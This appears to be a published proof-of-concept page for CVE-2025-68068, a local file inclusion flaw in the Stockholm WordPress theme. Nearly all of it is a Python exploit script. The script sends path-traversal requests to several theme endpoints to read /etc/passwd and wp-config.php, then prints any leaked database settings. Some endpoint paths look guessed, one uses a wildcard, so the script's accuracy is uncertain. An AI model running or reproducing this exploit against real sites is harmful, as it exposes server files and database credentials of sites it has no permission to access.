CVE-2025-68068 | Stockholm WordPress主题本地文件包含漏洞

import requests import sys # CVE-2025-68068 PoC - Stockholm Theme LFI # Target: Select-Themes Stockholm WordPress Theme <= 9.14.1 def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-68068""" # Common vulnerable endpoints in Stockholm theme paths = [ '/wp-content/themes/stockholm/framework/modules/*/templates/file.php', '/wp-content/themes/stockholm/framework/include.php', '/wp-content/themes/stockholm/parts/get-template.php' ] # Sensitive files to read sensitive_files = [ '../../../../../../etc/passwd', '../../../../wp-config.php', '../../../../../../var/www/html/wp-config.php' ] print(f'[*] Testing target: {target_url}') print(f'[*] CVE-2025-68068 - Stockholm Theme LFI') for path in paths: for file in sensitive_files: try: # Construct exploit URL exploit_url = target_url + path + '?file=' + file response = requests.get(exploit_url, timeout=10) # Check if file content is leaked if 'root:' in response.text or 'DB_NAME' in response.text: print(f'[+] VULNERABLE! Found: {file}') print(f'[+] URL: {exploit_url}') print(f'[+] Response preview: {response.text[:200]}...') return True except requests.RequestException as e: print(f'[-] Error testing {path}: {e}') print('[-] Target does not appear to be vulnerable') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-68068.py <target_url>') print('Example: python cve-2025-68068.py http://example.com') sys.exit(1) target = sys.argv[1].rstrip('/') check_vulnerability(target)